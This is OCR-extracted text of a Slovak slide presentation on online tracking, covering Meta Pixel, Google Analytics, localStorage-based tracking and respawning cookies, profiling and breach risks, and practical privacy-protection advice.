Fingerprinting™ (odtlacok prehliadaca)

Analytické nastroje (Google Analytics, Matomo...)
Serverove logy (pristupové zaznamy)
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Udaje o polohe

*

odvodené z IP adresy (orientacnée, presnost na uroven mesta)
* presné GPS data, iba ak ich pouzivatel povoli v aplikacii
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Co presne robi Facebook/Meta Pixel?

Facebook Pixel = sledovaci kod, ktory zbiera udaje o pouzivateloch na weboch
mimo Facebooku, aby mohol lepsie cielit reklamy, vytvarat publika a merat
konverzie

Bezne sleduje:

* URL navstivenej stranky

* Cas straveny na stranke

* typ zariadenia, rozlisenie

* zdroj navstevy (Google, Facebook, reklama...)

* akcie pouzivatela (AddToCart, Purchase, Search, ViewContent)

Nema priamy pristup k: heslam, udajom o karte, sukromnym spravam
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA
BEZNE ZBIERAJU?

Co presne robi Facebook/Meta Pixel?
Informuje Facebook, aké akcie si na stranke urobil

Priklady sledovanych udalosti:

* prezeral si produkt

* vlozil si produkt do koSika

* dokoncCil objednavku

* registroval si sa

* klikol si na tlaCidlo

* navstivil urcCitu podstranku

Pixel sa snazi prepojit navstevu webu s Facebook uctom — umoznuje remarketing.
(Ukaze ti reklamy na produkty, ktoreé si videl, ale nekupil.(.Zabudol si nieco v koSiku?")
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Google Analytics (GA4)**
Zameriava sa na:
* poCet navstev
* zdroje navstev (Google, reklama, socialne siete)
* spravanie pouzivatelov:

* bounce rate

* Cas na stranke

* udalosti (scroll, kliknutie, formulare)
* demografiu (ak je povolena)
* technické udaje: zariadenie, OS, prehliadac
GA4 sa nesnazi identifikovat konkrétne osoby, ale pouzivatelské segmenty — je
orientovany na anonymizované agregovane data.
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Rizikost’ pre sukromie

Facebook Pixel Google Analytics

Sledovanie naprie¢ webmi vel'mi silné stredné

Snaha identifikovat vysoka (cez Facebook ID) nizka (anonymizovaneé
pouzivatel'a ID)

Profilovanie vel'mi vysokeé nizke az stredné
Remarketing vedomy ciel nastroja obmedzeny (Google Ads)
Zavislost na ucte silna (FB login = presné  slaba (neprepaja sa s
pouZzivatel'a prepojenie) Google uctom)

Facebook Pixel je ovel'a invazivnejsi a rizikovejsi pre sukromie.
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NEVIDITELNI SPIONI LOCALSTORAGE - SESSIONSTORAGE

LocalStorage aj SessionStorage su webové uloziska v prehliadaci. Neboli vytvorené
primarne na sledovanie pouZzivatel'ov, ale v praxi sa Casto zneuZivaju ako doplnkovy
alebo alternativny tracking mechanizmus.
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NEVIDITELNI SPIONI LOCALSTORAGE - SESSIONSTORAGE

Typické vyusitie

akykol'vek skript na danej dlhodobé¢ identifikatory

localStorage

sessionStorage

kym ho pouZzivatel
nevymaze; pretrvava
medzi relaciami

len do zatvorenia tabu

doméne

dostupné len z tej istej
tabu

(,,super cookies*)

session ID, kratkodobé
sledovanie
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NEVIDITELNI SPIONI AKO SA POUZIVAJU PRI SLEDOVANI

Ukladanie identifikatorov pouzivatel'a (tracking ID)

 Pri kazdej navsteve tej iste] domény zostane identifikator rovnaky.
To umozni webu rozoznat pouzivatela aj bez cookies.
* Preco je to problém?
LocalStorage nema datum expirdcie — zostane tam celé mesiace/roky.
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NEVIDITELNI SPIONI AKO SA POUZIVAJU PRI SLEDOVANI

Rekonstrukcia vymazanych cookies (respawn cookies)
» Ak pouzivatel vymaZe cookies alebo odmietne 3rd-party cookies, niektoré trackery:
 ulozeny 1dentifikator nechaju v localStorage,

 pri novej navsteve precitaju hodnotu,

* znovu vytvoria reklamné alebo analytické cookies.

Ide o tzv. respawning cookies, ktoré pouzivaju firmy na obchadzanie sahlasu
pouzivatela.
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NEVIDITELNI SPIONI AKO SA POUZIVAJU PRI SLEDOVANI

Fingerprinting cez LocalStorage

» LocalStorage moze sluzit ako d'alsi udaj vo fingerprintingu. Tracker sleduje:
* C1sa subor v localStorage nachadza,

 aky jedinecny identifikator obsahuje,

 ako Casto s nim pouzivatel interaguye.

Fingerprinting = kombinacia r6znych udajov z prehliadaca — unikatny profil.
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NEVIDITELNI SPIONI AKO SA POUZIVAJU PRI SLEDOVANI

Preco trackeri obchadzaju cookies cez LocalStorage?
* neexistuje Standardna moznost blokovania localStorage tak ako cookies,

 GDPR cookie 1Sty sa tykaja nayma cookies — localStorage sa Casto skryva mimo
regulacie,

* Udaje su pristupné len na doméne — obchadza to obmedzenia third-party cookies,

* da sa kombinovat s fingerprintingom — vel'mi1 presné sledovanie.
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NEVIDITELNI SPIONI AKO SA POUZIVAJU PRI SLEDOVANI

Pravny pohl'ad (GDPR)

« Podl'a GDPR je akykol'vek identifikator ulozeny v localStorage osobny udaj, ak
pouzivatel'a dokaze identifikovat’ alebo profilovat.

To znamena:
* musi existovat pravny zaklad (zvycajne sihlas),
» pouzivatel musi byt informovany o ucele,

* nesmie sa pouzivat na skryté sledovanie.
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NEVIDITELNI SPIONI AKO SA POUZIVAJU PRI SLEDOVANI

SessionStorage na sledovanie jednej navstevy

Pouziva sa na:

meranie dlzky relacie,

sledovanie klikov a pohybu v ramci jednej relacie,
sledovanie ,,pathu* v ramci webu,

rozpoznanie reloadu tabov.
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NEVIDITELNI SPIONI UCELY ZBERU UDAJOV

1. Personalizacia obsahu

* odporucanie videi (YouTube)

* odporucanie produktov (e-shop)

* prispdsobenie zobrazovanych kategorii, feedu

2. Cielena reklama (NajCastejsi komercny dévod)

* zobrazovanie reklam podla zaujmov

* remarketing (napr. pripomenutie produktov z e-shopu)
* meranie ucinnosti kampani
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NEVIDITELNI SPIONI UCELY ZBERU UDAJOV

3. Analytika a zlepSovanie sluzieb

* sledovanie vykonu webu

* zistovanie, kde zakaznici odpadaju

* optimalizacia uzivatel'ského rozhrania
* testovanie novych funkcii (A/B testy)

4. BezpecCnost a prevencia podvodov
* detekcia podozrivych prihlaseni

* identifikacia botov

* ochrana pred spamom

* kontrola transakcii (pri e-shopoch)
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NEVIDITELNI SPIONI AKO SA UDAJE DALEJ
VYUZIiVAJU?

Interné vyuzitie firmy

* personalizované odporucania
* tvorba internych reportov
* segmentacia zakaznikov
* zlepSovanie funkcii platformy

83



NEVIDITELNI SPIONI AKO SA UDAJE DALEJ
VYUZIiVAJU?

Ako sa udaje d'alej vyuzivaju?
Zdielanie s tretimi stranami

Bezne (ak pouzivatel suhlasi alebo to vyplyva zo sluzieb):
* platobné brany

* logistické spolocCnosti (doruCenie objednavok)

* analytické nastroje

* reklamné siete (Google Ads, Meta Ads...)

* partnerskeé firmy (pri vernostnych programoch)

Predaj udajov je v EU prisne regulovany GDPR, ale mdZe sa diat’ vo forme
agregovanych a anonymizovanych dat.
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NEVIDITELNI SPIONI AKO SA UDAJE DALEJ
VYUZIiVAJU?

Typicky e-shop

* spracovanie objednavok a dorucCenia

* personalizacia ponuky (napr. odporucané produkty)
* remarketing (pripomenutie opusteného kosika)

* analytika predaja a navstevnosti

* detekcia podvodnych platieb

* zasielanie newsletterov a marketingovych kampani
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NEVIDITELNI SPIONI AKO SA UDAJE DALEJ
VYUZIiVAJU?

Ktoré platformy zbieraju najviac dat?

1. Facebook (Meta) — najkomplexnejsSi zber dat, vratane socialnych vztahov, profilov
a spravania.

2. YouTube (Google) — silna analytika obsahu a reklamny ekosystém.

3. Heureka — zamerana na produkty a recenzie, menej osobnych udajov.

4. Typicky e-shop — zbiera najmenej, zvyCajne len udaje potrebné na nakup +
marketing.
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NEVIDITELNI SPIONI RIZIKO ROZSIAHLEJ PROFILACIE
POUZIVATELOV

Platformy:

* Facebook ma historicky najviac pripadov zdiefania udajov s tretimi stranami.
* E-shopy prenasaju udaje logistike (adresy), Co je citlivé, ale menej skalovatelné.

Riziko deanonymizacie

Aj ked nepouzivas skutoCné meno, platformy mdzu pouzivatela identifikovat
kombinaciou:

* IP adresy,

* fingerprintingu prehliadaca,

* spbsobu pouzivania webu,

* cookies a lokalne ulozenych dat.
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NEVIDITELNI SPIONI RIZIKO ROZSIAHLEJ PROFILACIE
POUZIVATELOV

Riziko uniku dat (data breach)**

Aj u velkych firiem dochadza k unikom (napr. Facebook mal viackrat masivne incidenty).
Rizika:

* mail + teleféonne Cislo mdzu viest k phishingu

* adresa a meno mozu viest k socialnemu inzinierstvu

* kombinované uniky (napr. z inych sluzieb) umoznia skladat detailné profily

Typickeé e-shopy su rizikové najma z dovodu:
* slabSej bezpecCnosti malych prevadzkovatelov
* uchovavania kontaktnych a adresnych udajov
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NEVIDITELNI SPIONI RIZIKO ROZSIAHLEJ PROFILACIE
POUZIVATELOV

Velké platformy ukladaju udaje **roky** alebo "navzdy" (kym ich pouzivatel sam
nepoziada o vymazanie).

Rizika:

* historické udaje moézu byt pouzitelné aj o mnoho rokov neskoér
* zmena podmienok alebo majitela sluzby mdze znamenat nové formy vyuzitia
* staré aktivity m6zu byt spatne analyzované (napr. zmeny nazorov, spravania)
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NEVIDITELNI SPIONI RIZIKO ROZSIAHLEJ PROFILACIE

POUZIVATELOV

Riziko pouzitia dat na ucely, s ktorymi pouzivatel nepocita
Sluzby mbézu udaje vyuzivat aj na:

* tréning internych modelov (Al, odporucacie systémy)

* novy druh personalizacie

* prediktivne analyzy (napr. odhad nakupného spravania)

Pouzivatel o tom Casto nevie, hoci je to formalne popisané v podmienkach.
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NEVIDITELNI SPIONI OCHRANA

Minimalizovat' identifikaciu:

* pouzivat anonymny alebo alternativny e-mail

* nevypifat nepovinné udaje

* obmedzit' zdielanie telefonneho Cisla

Minimalizovat' sledovanie:

* blokovat' tracking cookies

* pouzivat prehliada€ s ochranou sukromia (Firefox, Brave)
* vyuzivat rezim kontajnerov pre socialne siete
Minimalizovat profilovanie:

* pravidelne mazat’ histériu a cookies

* vypnut personalizované reklamy (Google, Facebook to umoznuju)
* pouzivat samostatne ucty pre rézne ucely
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NEVIDITELNI SPIONI OCHRANA

Minimalizuj identifikaCné udaje, ktoré o sebe poskytujes
Pouzivaj separatne e-maily

* jeden pre socialne siete

* jeden pre nakupy

* jeden pre dolezité veci (banky, urad)

Unik z jednej sluzby tak neohrozi vietko.

**

Neposkytuj telefon, ak to nie je nutné

Telefonne Cislo je extréemne cenny identifikator.

Vo vacsine sluzieb nie je povinny.

Vyhybaj sa registraciam cez Facebook/Google

,Prihlasit sa cez Facebook/Google” = prepojenie uctov = viac sledovania.
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ZAVERECNA MYSLIENKA

Cesta k informacCnej suverenite — schopnosti robit rozhodnutia na
zaklade overenych faktov, slobodne a bez manipulativheho
natlaku — je dlhodobym procesom.

Je to vsak zapas o zachovanie podstaty demokracie a pravneho
statu v digitalnej ere.

Informacna odolnost’ nie je luxus, ale nevyhnutnost.’.
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DAKUJEM ZA POZORNOST

- Otazky a odpovede
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